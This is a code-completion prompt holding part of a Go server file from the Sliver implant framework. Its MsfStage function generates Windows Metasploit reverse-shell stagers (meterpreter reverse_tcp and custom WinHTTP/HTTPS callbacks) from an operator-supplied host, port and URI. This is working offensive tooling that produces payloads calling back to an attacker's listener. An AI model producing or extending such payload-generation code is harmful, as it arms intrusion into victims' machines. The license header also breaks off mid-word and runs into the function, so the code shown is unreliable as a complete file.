You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: rpc-msf.go
    path of file: ./repos/sliver/server/rpc
    
    the code of the file until where you have to start completion: package rpc

/*
	Sliver Implant Framework
	Copyright (C) 2019  Bishop Fox

	This program is free software: you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation, either version 3 of the Lice
    
func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*clientpb.MsfStager, error) {
	var (
		MSFStage = &clientpb.MsfStager{
			File: &commonpb.File{},
		}
		payload string
		arch    string
		uri     string
	)

	switch req.GetArch() {
	case "amd64":
		arch = "x64"
	default:
		arch = "x86"
	}

	switch req.Protocol {
	case clientpb.StageProtocol_TCP:
		payload = "meterpreter/reverse_tcp"
	case clientpb.StageProtocol_HTTP:
		payload = "custom/reverse_winhttp"
		uri = generateCallbackURI(req.HTTPC2ConfigName)
	case clientpb.StageProtocol_HTTPS:
		payload = "custom/reverse_winhttps"
		uri = generateCallbackURI(req.HTTPC2ConfigName)
	default:
		return MSFStage, errors.New("protocol not supported")
	}

	// We only support windows at the moment
	if req.GetOS() != "windows" {
		return MSFStage, fmt.Errorf("%s is currently not supported", req.GetOS())
	}

	venomConfig := msf.VenomConfig{
		Os:         req.GetOS(),
		Payload:    payload,
		LHost:      req.GetHost(),
		LPort:      uint16(req.GetPort()),
		Arch:       arch,
		Format:     req.GetFormat(),
		BadChars:   req.GetBadChars(), // TODO: make this configurable
		Luri:       uri,
		AdvOptions: req.AdvOptions,
	}

	stage, err := msf.VenomPayload(venomConfig)
	if err != nil {
		rpcLog.Warnf("Error while generating msf payload: %v\n", err)
		return MSFStage, err
	}
	MSFStage.File.Data = stage
	name, err := codenames.GetCodename()
	if err != nil {
		return MSFStage, err
	}
	MSFStage.File.Name = name
	return MSFStage, nil
}